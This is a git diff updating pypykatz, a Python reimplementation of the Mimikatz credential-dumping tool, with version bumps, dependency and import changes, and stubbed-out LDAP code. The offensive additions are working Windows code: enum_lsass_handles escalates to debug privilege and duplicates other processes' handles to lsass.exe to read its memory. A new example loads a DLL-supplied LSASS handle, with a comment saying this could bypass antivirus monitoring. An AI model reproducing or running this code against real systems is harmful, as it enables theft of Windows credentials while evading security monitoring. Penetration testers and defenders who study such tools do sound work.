diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..ab60297
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2018 
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/MANIFEST.in b/MANIFEST.in
new file mode 100644
index 0000000..d80217b
--- /dev/null
+++ b/MANIFEST.in
@@ -0,0 +1 @@
+include LICENSE	README.md
diff --git a/PKG-INFO b/PKG-INFO
index de58aae..9bc02a9 100644
--- a/PKG-INFO
+++ b/PKG-INFO
@@ -1,10 +1,10 @@
 Metadata-Version: 1.2
 Name: pypykatz
-Version: 0.3.7
+Version: 0.3.15
 Summary: Python implementation of Mimikatz
 Home-page: https://github.com/skelsec/pypykatz
 Author: Tamas Jos
-Author-email: skelsecprojects@gmail.com
+Author-email: info@skelsecprojects.com
 License: UNKNOWN
 Description: UNKNOWN
 Platform: UNKNOWN
diff --git a/pypykatz.egg-info/PKG-INFO b/pypykatz.egg-info/PKG-INFO
index de58aae..9bc02a9 100644
--- a/pypykatz.egg-info/PKG-INFO
+++ b/pypykatz.egg-info/PKG-INFO
@@ -1,10 +1,10 @@
 Metadata-Version: 1.2
 Name: pypykatz
-Version: 0.3.7
+Version: 0.3.15
 Summary: Python implementation of Mimikatz
 Home-page: https://github.com/skelsec/pypykatz
 Author: Tamas Jos
-Author-email: skelsecprojects@gmail.com
+Author-email: info@skelsecprojects.com
 License: UNKNOWN
 Description: UNKNOWN
 Platform: UNKNOWN
diff --git a/pypykatz.egg-info/SOURCES.txt b/pypykatz.egg-info/SOURCES.txt
index dc3136e..ee82e77 100644
--- a/pypykatz.egg-info/SOURCES.txt
+++ b/pypykatz.egg-info/SOURCES.txt
@@ -1,3 +1,5 @@
+LICENSE
+MANIFEST.in
 README.md
 setup.py
 pypykatz/__init__.py
@@ -85,6 +87,8 @@ pypykatz/dpapi/structures/credentialfile.py
 pypykatz/dpapi/structures/masterkeyfile.py
 pypykatz/dpapi/structures/system.py
 pypykatz/dpapi/structures/vault.py
+pypykatz/example/__init__.py
+pypykatz/example/phandle_dll.py
 pypykatz/kerberos/__init__.py
 pypykatz/kerberos/cmdhelper.py
 pypykatz/ldap/__init__.py
diff --git a/pypykatz.egg-info/requires.txt b/pypykatz.egg-info/requires.txt
index 03a243b..62bbac5 100644
--- a/pypykatz.egg-info/requires.txt
+++ b/pypykatz.egg-info/requires.txt
@@ -1,5 +1,5 @@
-minidump>=0.0.12
-minikerberos>=0.2.0
 aiowinreg>=0.0.3
-msldap>=0.2.7
-winsspi>=0.0.3
+minidump>=0.0.13
+minikerberos>=0.2.5
+msldap>=0.3.20
+winsspi>=0.0.9
diff --git a/pypykatz/__main__.py b/pypykatz/__main__.py
index 904c4e0..b253e0f 100644
--- a/pypykatz/__main__.py
+++ b/pypykatz/__main__.py
@@ -85,6 +85,8 @@ def main():
 	
 	dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys from minidump file')
 	dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file')
+	dpapi_minidump_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.')
+
 
 	dpapi_mastekey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file')
 	dpapi_mastekey_group.add_argument('mkf', help='path to masterkey file')
diff --git a/pypykatz/_version.py b/pypykatz/_version.py
index 6e7fc0e..fc292d1 100644
--- a/pypykatz/_version.py
+++ b/pypykatz/_version.py
@@ -1,5 +1,5 @@
 
-__version__ = "0.3.7"
+__version__ = "0.3.15"
 __banner__ = \
 """
 # pypyKatz %s 
diff --git a/pypykatz/commons/readers/local/common/live_reader_ctypes.py b/pypykatz/commons/readers/local/common/live_reader_ctypes.py
index 6b9d37a..0a59e55 100644
--- a/pypykatz/commons/readers/local/common/live_reader_ctypes.py
+++ b/pypykatz/commons/readers/local/common/live_reader_ctypes.py
@@ -4,8 +4,8 @@ import ctypes
 import enum
 import logging
 
-from .kernel32 import *
-from .psapi import *
+from pypykatz.commons.readers.local.common.kernel32 import *
+from pypykatz.commons.readers.local.common.psapi import *
 
 class WindowsMinBuild(enum.Enum):
 	WIN_XP = 2500
@@ -50,6 +50,7 @@ else:
 	
 PROCESS_QUERY_INFORMATION = 0x0400
 PROCESS_VM_READ = 0x0010
+MAXIMUM_ALLOWED = 33554432
 
 	
 #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx
@@ -75,4 +76,5 @@ def get_lsass_pid():
 		if pid_to_name[pid].lower().find('lsass.exe') != -1:
 			return pid
 			
-	raise Exception('Failed to find lsass.exe')
\ No newline at end of file
+	raise Exception('Failed to find lsass.exe')
+	
\ No newline at end of file
diff --git a/pypykatz/commons/readers/local/live_reader.py b/pypykatz/commons/readers/local/live_reader.py
index a032757..88f6a55 100644
--- a/pypykatz/commons/readers/local/live_reader.py
+++ b/pypykatz/commons/readers/local/live_reader.py
@@ -293,10 +293,10 @@ class BufferedLiveReader:
 		
 		
 class LiveReader:
-	def __init__(self):
+	def __init__(self, lsass_process_handle = None):
 		self.processor_architecture = None
 		self.lsass_process_name = 'lsass.exe'
-		self.lsass_process_handle = None
+		self.lsass_process_handle = lsass_process_handle
 		self.current_position = None
 		self.BuildNumber = None
 		self.modules = []
@@ -339,15 +339,16 @@ class LiveReader:
 		buildnumber, t = winreg.QueryValueEx(key, 'CurrentBuildNumber')
 		self.BuildNumber = int(buildnumber)
 		
-		
-		logging.log(1, 'Searching for lsass.exe')
-		pid = get_lsass_pid()
-		logging.log(1, 'Lsass.exe found at PID %d' % pid)
-		logging.log(1, 'Opening lsass.exe')
-		self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
 		if self.lsass_process_handle is None:
-			raise Exception('Failed to open lsass.exe Reason: %s' % WinError(get_last_error()))
-		
+			logging.log(1, 'Searching for lsass.exe')
+			pid = get_lsass_pid()
+			logging.log(1, 'Lsass.exe found at PID %d' % pid)
+			logging.log(1, 'Opening lsass.exe')
+			self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
+			if self.lsass_process_handle is None:
+				raise Exception('Failed to open lsass.exe Reason: %s' % WinError(get_last_error()))
+		else:
+			logging.debug('Using pre-defined handle')
 		logging.log(1, 'Enumerating modules')
 		module_handles = EnumProcessModules(self.lsass_process_handle)
 		for module_handle in module_handles:
diff --git a/pypykatz/commons/readers/volatility3/volreader.py b/pypykatz/commons/readers/volatility3/volreader.py
index 66d7c19..d678225 100644
--- a/pypykatz/commons/readers/volatility3/volreader.py
+++ b/pypykatz/commons/readers/volatility3/volreader.py
@@ -225,7 +225,7 @@ def vol3_generator(mimi):
 		t = cred.to_dict()
 		if t['credtype'] != 'dpapi':
 			if t['password'] is not None:
-				x =  [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
+				x =  [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password']), '']
 				yield 0, x
 		else:
 			t = cred.to_dict()
diff --git a/pypykatz/commons/win_datatypes.py b/pypykatz/commons/win_datatypes.py
index 29159fe..316223e 100644
--- a/pypykatz/commons/win_datatypes.py
+++ b/pypykatz/commons/win_datatypes.py
@@ -206,11 +206,11 @@ class GUID:
 		self.Data3 = WORD(reader).value
 		self.Data4 = reader.read(8)
 		self.value = '-'.join([
-			hex(self.Data1)[2:], 
-			hex(self.Data2)[2:], 
-			hex(self.Data3)[2:], 
-			hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:],
-			hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:]
+			hex(self.Data1)[2:].zfill(8), 
+			hex(self.Data2)[2:].zfill(4), 
+			hex(self.Data3)[2:].zfill(4), 
+			hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:].zfill(4),
+			hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:].zfill(12)
 		])
 
 class PLIST_ENTRY(POINTER):
@@ -222,4 +222,4 @@ class LIST_ENTRY:
 		self.location = reader.tell()
 		self.Flink = PLIST_ENTRY(reader)
 		self.Blink = PLIST_ENTRY(reader)
-		
\ No newline at end of file
+		
diff --git a/pypykatz/commons/winapi/local/function_defs/defines.py b/pypykatz/commons/winapi/local/function_defs/defines.py
index 1bd9522..deb19dd 100644
--- a/pypykatz/commons/winapi/local/function_defs/defines.py
+++ b/pypykatz/commons/winapi/local/function_defs/defines.py
@@ -703,6 +703,9 @@ class UNICODE_STRING(Structure):
         ("MaximumLength",   USHORT),
         ("Buffer",          PVOID),
     ]
+    
+    def getString(self):
+        return ctypes.string_at(self.Buffer, self.Length).decode('utf-16-le')
 
 # From MSDN:
 #
diff --git a/pypykatz/commons/winapi/local/function_defs/kernel32.py b/pypykatz/commons/winapi/local/function_defs/kernel32.py
index 97c505a..52289fc 100644
--- a/pypykatz/commons/winapi/local/function_defs/kernel32.py
+++ b/pypykatz/commons/winapi/local/function_defs/kernel32.py
@@ -65,6 +65,8 @@ MEM_IMAGE		 = SEC_IMAGE
 WRITE_WATCH_FLAG_RESET = 0x01
 FILE_MAP_ALL_ACCESS = 0xF001F
 
+PROCESS_DUP_HANDLE = 0x0040
+
 class UserModeHandle (HANDLE):
 	"""
 	Base class for non-kernel handles. Generally this means they are closed
@@ -343,6 +345,14 @@ def GetCurrentProcessId():
 	_GetCurrentProcessId.restype  = DWORD
 	return _GetCurrentProcessId()
 
+# HANDLE WINAPI GetCurrentProcess(void);
+def GetCurrentProcess():
+	##    return 0xFFFFFFFFFFFFFFFFL
+	_GetCurrentProcess = windll.kernel32.GetCurrentProcess
+	_GetCurrentProcess.argtypes = []
+	_GetCurrentProcess.restype  = HANDLE
+	return _GetCurrentProcess()
+
 # BOOL WINAPI QueryFullProcessImageName(
 #   __in	 HANDLE hProcess,
 #   __in	 DWORD dwFlags,
diff --git a/pypykatz/commons/winapi/local/function_defs/live_reader_ctypes.py b/pypykatz/commons/winapi/local/function_defs/live_reader_ctypes.py
index 6b9d37a..900aedf 100644
--- a/pypykatz/commons/winapi/local/function_defs/live_reader_ctypes.py
+++ b/pypykatz/commons/winapi/local/function_defs/live_reader_ctypes.py
@@ -4,6 +4,8 @@ import ctypes
 import enum
 import logging
 
+from pypykatz import logger
+from .ntdll import *
 from .kernel32 import *
 from .psapi import *
 
@@ -75,4 +77,46 @@ def get_lsass_pid():
 		if pid_to_name[pid].lower().find('lsass.exe') != -1:
 			return pid
 			
-	raise Exception('Failed to find lsass.exe')
\ No newline at end of file
+	raise Exception('Failed to find lsass.exe')
+	
+def enum_lsass_handles():
+	#searches for open LSASS process handles in all processes
+	# you should be having SE_DEBUG enabled at this point
+	RtlAdjustPrivilege(20)
+	
+	lsass_handles = []
+	sysinfohandles = NtQuerySystemInformation(16)
+	for pid in sysinfohandles:
+		if pid == 4:
+			continue
+		#if pid != GetCurrentProcessId():
+		#	continue
+		for syshandle in sysinfohandles[pid]:
+			#print(pid)
+			try:
+				pHandle = OpenProcess(PROCESS_DUP_HANDLE, False, pid)
+			except Exception as e:
+				logger.debug('Error opening process %s Reason: %s' % (pid, e))
+				continue
+			
+			try:
+				dupHandle = NtDuplicateObject(pHandle, syshandle.Handle, GetCurrentProcess(), PROCESS_QUERY_INFORMATION|PROCESS_VM_READ)
+				#print(dupHandle)
+			except Exception as e:
+				logger.debug('Failed to duplicate object! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle)))
+				continue
+				
+			oinfo = NtQueryObject(dupHandle, ObjectTypeInformation)
+			if oinfo.Name.getString() == 'Process':
+				try:
+					pname = QueryFullProcessImageNameW(dupHandle)
+					if pname.lower().find('lsass.exe') != -1:
+						logger.debug('Found open handle to lsass! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle)))
+						#print('%s : %s' % (pid, pname))
+						lsass_handles.append((pid, dupHandle))
+				except Exception as e:
+					logger.debug('Failed to obtain the path of the process! PID: %s' % pid) 
+					continue
+	
+	return lsass_handles
+	
\ No newline at end of file
diff --git a/pypykatz/commons/winapi/local/function_defs/ntdll.py b/pypykatz/commons/winapi/local/function_defs/ntdll.py
index c07a688..4dce183 100644
--- a/pypykatz/commons/winapi/local/function_defs/ntdll.py
+++ b/pypykatz/commons/winapi/local/function_defs/ntdll.py
@@ -3,7 +3,81 @@ import ctypes
 from ctypes import windll
 from ctypes.wintypes import ULONG, BOOL,LONG
 
-from .defines import *
+from pypykatz.commons.winapi.local.function_defs.defines import *
+
+SystemHandleInformation = 16
+ObjectBasicInformation = 0
+ObjectNameInformation = 1
+ObjectTypeInformation = 2
+
+
+POOL_TYPE = ctypes.c_int
+NonPagedPool = 1
+PagedPool = 2
+NonPagedPoolMustSucceed = 3
+DontUseThisType = 4
+NonPagedPoolCacheAligned = 5
+PagedPoolCacheAligned = 6
+NonPagedPoolCacheAlignedMustS = 7
+
+# https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-generic_mapping
+class GENERIC_MAPPING(Structure):
+	_fields_ = [
+		("GenericRead",	 ACCESS_MASK ),
+		("GenericWrite",	ACCESS_MASK ),
+		("GenericExecute",	ACCESS_MASK ),
+		("GenericAll",	ACCESS_MASK ),
+	]
+
+PGENERIC_MAPPING = POINTER(GENERIC_MAPPING)
+
+class SYSTEM_HANDLE(Structure):
+	_fields_ = [
+		("ProcessId",	 ULONG),
+		("ObjectTypeNumber",	BYTE),
+		("Flags",	BYTE),
+		("Handle",	USHORT),
+		("Object",	PVOID),
+		("GrantedAccess",	ACCESS_MASK),
+	]
+
+PSYSTEM_HANDLE = POINTER(SYSTEM_HANDLE)
+
+#class SYSTEM_HANDLE_INFORMATION(Structure):
+#	_fields_ = [
+#		("HandleCount",	 ULONG),
+#		("Handles",	SYSTEM_HANDLE), #not just one handle
+#	]
+#
+#PSYSTEM_HANDLE_INFORMATION = POINTER(SYSTEM_HANDLE_INFORMATION)
+
+class OBJECT_TYPE_INFORMATION(Structure):
+	_fields_ = [
+		("Name",	 UNICODE_STRING),
+		("TotalNumberOfObjects",	ULONG),
+		("TotalNumberOfHandles",	ULONG),
+		("TotalPagedPoolUsage",	ULONG),
+		("TotalNonPagedPoolUsage",	ULONG),
+		("TotalNamePoolUsage",	ULONG),
+		("TotalHandleTableUsage",	ULONG),
+		("HighWaterNumberOfObjects",	ULONG),
+		("HighWaterNumberOfHandles",	ULONG),
+		("HighWaterPagedPoolUsage",	ULONG),
+		("HighWaterNonPagedPoolUsage",	ULONG),
+		("HighWaterNamePoolUsage",	ULONG),
+		("HighWaterHandleTableUsage",	ULONG),
+		("GenericMapping",	GENERIC_MAPPING),
+		("ValidAccess",	ULONG),
+		("SecurityRequired",	BOOLEAN),
+		("MaintainHandleCount",	BOOLEAN),
+		("MaintainTypeList",	USHORT),
+		("PoolType",	POOL_TYPE),
+		("PagedPoolUsage",	ULONG),
+		("NonPagedPoolUsage",	ULONG),
+	]
+
+POBJECT_TYPE_INFORMATION = POINTER(OBJECT_TYPE_INFORMATION)
+
 
 # https://source.winehq.org/WineAPI/RtlAdjustPrivilege.html
 # BOOL WINAPI RtlAdjustPrivilege(
@@ -28,4 +102,100 @@ def RtlAdjustPrivilege(privilige_id, enable = True, thread_or_process = False):
 	if status != 0:
 		raise Exception('Failed call to RtlAdjustPrivilege! Status: %s' % status)
 	
-	return Enabled.value
\ No newline at end of file
+	return Enabled.value
+	
+# https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
+def NtQuerySystemInformation(info_type):
+	_NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation
+	_NtQuerySystemInformation.argtypes = [ULONG, PVOID, ULONG, PULONG]
+	_NtQuerySystemInformation.restype  = ULONG
+	
+	handleinfos = {}
+	
+	if info_type != 16:
+		raise Exception('info_type only the value 16 is supported!')
+	
+	size = DWORD(0x10)
+	data = ctypes.create_string_buffer(size.value)
+	while True:
+		#_NtQuerySystemInformation returns an incorrect expected size...
+		size = DWORD(size.value*2)
+		data = ctypes.create_string_buffer(size.value)
+		status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size))
+		if status == 0:
+			break
+		if status != 0xC0000004:
+			raise Exception('NtQuerySystemInformation returned %s' % hex(status))
+		
+		status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size))
+
+	data_bytes = bytearray(data.raw[:size.value])
+	
+	hc = ULONG.from_buffer(data_bytes)
+	
+	class SYSTEM_HANDLE_INFORMATION(Structure):
+		_fields_ = [
+			("HandleCount",	 ULONG),
+			("Handles",	SYSTEM_HANDLE*hc.value), #not just one handle
+		]
+	
+	
+	syshandleinfo = SYSTEM_HANDLE_INFORMATION.from_buffer(data_bytes)
+	
+	for i in range(syshandleinfo.HandleCount):
+		if not syshandleinfo.Handles[i].ProcessId in handleinfos:
+			handleinfos[syshandleinfo.Handles[i].ProcessId] = []
+		handleinfos[syshandleinfo.Handles[i].ProcessId].append(syshandleinfo.Handles[i])
+	
+	return handleinfos
+
+
+def NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, DesiredAccess = 0):
+	"""
+	privilige_id: int
+	"""
+	_NtDuplicateObject = windll.ntdll.NtDuplicateObject
+	_NtDuplicateObject.argtypes = [HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, ULONG, ULONG]
+	_NtDuplicateObject.restype  = ULONG
+
+	
+	
+	oHandle = HANDLE()
+	status = _NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, ctypes.byref(oHandle), DesiredAccess,0,0)
+	if status != 0:
+		raise Exception('Failed call to NtDuplicateObject! Status: %s' % status)
+
+	return oHandle
+	
+def NtQueryObject(ObjectHandle, ObjectInformationClass):
+	"""
+	privilige_id: int
+	"""
+	_NtQueryObject = windll.ntdll.NtQueryObject
+	_NtQueryObject.argtypes = [HANDLE, ULONG, PVOID, ULONG, PULONG]
+	_NtQueryObject.restype  = ULONG
+
+	#if ObjectInformationClass not in [ObjectNameInformation, ObjectTypeInformation]:
+	if ObjectInformationClass != ObjectTypeInformation:
+		raise Exception('Unsupported ObjectInformationClass value %s.' % ObjectInformationClass )
+	
+	size = ULONG(0x10)
+	oinfo_data = ctypes.create_string_buffer(size.value)
+	
+	while True:
+		oinfo_data = ctypes.create_string_buffer(size.value)
+		status = _NtQueryObject(ObjectHandle, ObjectInformationClass, oinfo_data, size, ctypes.byref(size))
+		if status == 0xc0000004:
+			continue
+		if status != 0:
+			raise Exception('Failed call to NtDuplicateObject! Status: %s' % hex(status))
+		
+		break
+		
+	if ObjectInformationClass == ObjectNameInformation:
+		raise NotImplementedError('TODO: implement me when needed!')
+	elif ObjectInformationClass == ObjectTypeInformation: 
+		oinfo = OBJECT_TYPE_INFORMATION.from_buffer(bytearray(oinfo_data.raw[:size.value]))
+	
+	return oinfo
+	
\ No newline at end of file
diff --git a/pypykatz/dpapi/dpapi.py b/pypykatz/dpapi/dpapi.py
index 8328185..8be0770 100644
--- a/pypykatz/dpapi/dpapi.py
+++ b/pypykatz/dpapi/dpapi.py
@@ -161,7 +161,7 @@ class DPAPI:
 				nt_hash = bytes.fromhex(nt_hash)
 			key1 = None
 		
-		if password:
+		if password or password == '':
 			md4 = hashlib.new('md4')
 			md4.update(password.encode('utf-16le'))
 			nt_hash = md4.digest()
diff --git a/pypykatz/example/__init__.py b/pypykatz/example/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/pypykatz/example/phandle_dll.py b/pypykatz/example/phandle_dll.py
new file mode 100644
index 0000000..5bedb62
--- /dev/null
+++ b/pypykatz/example/phandle_dll.py
@@ -0,0 +1,26 @@
+
+#
+# In case you happen to have a DLL that has an export which returns a handle to LSASS process
+# You can use this example to load such DLL via ctypes and call pypykatz using said handle
+# Might be interesting to bypass AV monitoring openprocess on LSASS
+#
+
+from ctypes import windll, c_void_p
+from pypykatz.pypykatz import pypykatz
+
+dll_path = ''
+
+def get_lsass_handle():
+	your_dll = windll.LoadLibrary(dll_path)
+	_your_function = your_dll.your_function
+	_your_function.argtypes = [] #I guess no args
+	_your_function.restype  = c_void_p #this is basically a handle
+	
+	phandle = _your_function()
+
+	return phandle
+
+
+phandle = get_lsass_handle()
+res = pypykatz.go_live_phandle(phandle)
+print(str(res))
diff --git a/pypykatz/kerberos/cmdhelper.py b/pypykatz/kerberos/cmdhelper.py
index 6266b4a..6279be7 100644
--- a/pypykatz/kerberos/cmdhelper.py
+++ b/pypykatz/kerberos/cmdhelper.py
@@ -37,10 +37,10 @@ class KerberosCMDHelper:
 			
 	def run_live(self, args):
 		from winsspi.sspi import KerberoastSSPI
-		from minikerberos.security import TGSTicket2hashcat, APREPRoast
-		from minikerberos.utils import TGTTicket2hashcat
-		from minikerberos.communication import KerberosSocket
-		from minikerberos.common import KerberosTarget
+		from minikerberos.common.utils import TGSTicket2hashcat, TGTTicket2hashcat
+		from minikerberos.security import APREPRoast
+		from minikerberos.network.clientsocket import KerberosClientSocket
+		from minikerberos.common.target import KerberosTarget
 		from pypykatz.commons.winapi.machine import LiveMachine
 		
 		if not args.target_file and not args.target_user:
@@ -113,7 +113,7 @@ class KerberosCMDHelper:
 				dcip = args.dc_ip
 				if args.dc_ip is None:
 					dcip = machine.get_domain()
-				ks = KerberosSocket( dcip )
+				ks = KerberosClientSocket( dcip )
 				ar = APREPRoast(ks)
 				results = ar.run(targets)
 
diff --git a/pypykatz/ldap/cmdhelper.py b/pypykatz/ldap/cmdhelper.py
index e19733e..be1f835 100644
--- a/pypykatz/ldap/cmdhelper.py
+++ b/pypykatz/ldap/cmdhelper.py
@@ -42,213 +42,8 @@ class LDAPCMDHelper:
 			
 			
 	def run_live(self, args):
-		from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection
-		from msldap.ldap_objects import MSADUser
-		from msldap import logger as msldaplogger
-		from pypykatz.commons.winapi.machine import LiveMachine
-		
-		machine = LiveMachine()
-	
-		if args.credential:
-			creds = MSLDAPCredential.from_connection_string(args.credential)
-		else:
-			creds = MSLDAPCredential.get_dummy_sspi()
-		
-		if args.dc_ip:
-			target = MSLDAPTarget(args.dc_ip)
-		else:
-			target = MSLDAPTarget(machine.get_domain())
-			
-		connection = MSLDAPConnection(creds, target)
-		connection.connect()
-		
-		try:
-			adinfo = connection.get_ad_info()
-			domain = adinfo.distinguishedName.replace('DC=','').replace(',','.')
-		except Exception as e:
-			logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e)
-			domain = machine.get_domain()
-		
-		if args.cmd == 'spn':
-			logging.debug('Enumerating SPN user accounts...')
-			cnt = 0
-			if args.out_file:
-				with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f:
-					for user in connection.get_all_service_user_objects():
-						cnt += 1
-						f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
-			
-			else:
-				print('[+] SPN users')
-				for user in connection.get_all_service_user_objects():
-					cnt += 1
-					print('%s/%s' % (domain, user.sAMAccountName))
-			
-			logging.debug('Enumerated %d SPN user accounts' % cnt)
-			
-		elif args.cmd == 'asrep':
-			logging.debug('Enumerating ASREP user accounts...')
-			ctr = 0
-			if args.out_file:
-				with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f:
-					for user in connection.get_all_knoreq_user_objects():
-						ctr += 1
-						f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
-			else:
-				print('[+] ASREP users')
-				for user in connection.get_all_knoreq_user_objects():
-					ctr += 1
-					print('%s/%s' % (domain, user.sAMAccountName))
-
-			logging.debug('Enumerated %d ASREP user accounts' % ctr)
-			
-		elif args.cmd == 'dump':
-			logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain')
-			ctr = 0
-			attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
-			if args.out_file:
-				with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f:
-					writer = csv.writer(f, delimiter = '\t')
-					writer.writerow(attrs)
-					for user in connection.get_all_user_objects():
-						ctr += 1
-						writer.writerow(user.get_row(attrs))
-
-			else:
-				logging.debug('Are you sure about this?')
-				print('[+] Full user dump')
-				print('\t'.join(attrs))
-				for user in connection.get_all_user_objects():
-					ctr += 1
-					print('\t'.join([str(x) for x in user.get_row(attrs)]))
-
-			
-			logging.debug('Enumerated %d user accounts' % ctr)
-			
-		elif args.cmd == 'custom':
-			if not args.filter:
-				raise Exception('Custom LDAP search requires the search filter to be specified!')
-			if not args.attrs:
-				raise Exception('Custom LDAP search requires the attributes to be specified!')
-
-			logging.debug('Perforing search on the AD with the following filter: %s' % args.filter)
-			logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs))
-			ctr = 0
-
-			if args.out_file:
-				with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f:
-					writer = csv.writer(f, delimiter = '\t')
-					writer.writerow(args.attrs)
-					for obj in connection.pagedsearch(args.filter, args.attrs):
-						ctr += 1
-						writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])
-
-			else:
-				for obj in connection.pagedsearch(args.filter, args.attrs):
-					ctr += 1
-					print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]))
-
-			logging.debug('Custom search yielded %d results!' % ctr)
+		raise Exception('Coming soon...')
 			
 	def run(self, args):
-		from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection
-		from msldap.ldap_objects import MSADUser
-		from msldap import logger as msldaplogger
-		
-		if not args.credential:
-			raise Exception('You must provide credentials when using ldap in platform independent mode.')
-			
-		creds = MSLDAPCredential.from_connection_string(args.credential)
-		target = MSLDAPTarget.from_connection_string(args.credential)
-			
-		connection = MSLDAPConnection(creds, target)
-		connection.connect()
-		
-		try:
-			adinfo = connection.get_ad_info()
-			domain = adinfo.distinguishedName.replace('DC=','').replace(',','.')
-		except Exception as e:
-			logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e)
-			domain = machine.get_domain()
-		
-		if args.cmd == 'spn':
-			logging.debug('Enumerating SPN user accounts...')
-			cnt = 0
-			if args.out_file:
-				with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f:
-					for user in connection.get_all_service_user_objects():
-						cnt += 1
-						f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
-			
-			else:
-				print('[+] SPN users')
-				for user in connection.get_all_service_user_objects():
-					cnt += 1
-					print('%s/%s' % (domain, user.sAMAccountName))
-			
-			logging.debug('Enumerated %d SPN user accounts' % cnt)
-			
-		elif args.cmd == 'asrep':
-			logging.debug('Enumerating ASREP user accounts...')
-			ctr = 0
-			if args.out_file:
-				with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f:
-					for user in connection.get_all_knoreq_user_objects():
-						ctr += 1
-						f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
-			else:
-				print('[+] ASREP users')
-				for user in connection.get_all_knoreq_user_objects():
-					ctr += 1
-					print('%s/%s' % (domain, user.sAMAccountName))
-    
-			logging.debug('Enumerated %d ASREP user accounts' % ctr)
-			
-		elif args.cmd == 'dump':
-			logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain')
-			ctr = 0
-			attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
-			if args.out_file:
-				with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f:
-					writer = csv.writer(f, delimiter = '\t')
-					writer.writerow(attrs)
-					for user in connection.get_all_user_objects():
-						ctr += 1
-						writer.writerow(user.get_row(attrs))
-    
-			else:
-				logging.debug('Are you sure about this?')
-				print('[+] Full user dump')
-				print('\t'.join(attrs))
-				for user in connection.get_all_user_objects():
-					ctr += 1
-					print('\t'.join([str(x) for x in user.get_row(attrs)]))
-    
-			
-			logging.debug('Enumerated %d user accounts' % ctr)
-			
-		elif args.cmd == 'custom':
-			if not args.filter:
-				raise Exception('Custom LDAP search requires the search filter to be specified!')
-			if not args.attrs:
-				raise Exception('Custom LDAP search requires the attributes to be specified!')
-    
-			logging.debug('Perforing search on the AD with the following filter: %s' % args.filter)
-			logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs))
-			ctr = 0
-    
-			if args.out_file:
-				with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f:
-					writer = csv.writer(f, delimiter = '\t')
-					writer.writerow(args.attrs)
-					for obj in connection.pagedsearch(args.filter, args.attrs):
-						ctr += 1
-						writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])
-    
-			else:
-				for obj in connection.pagedsearch(args.filter, args.attrs):
-					ctr += 1
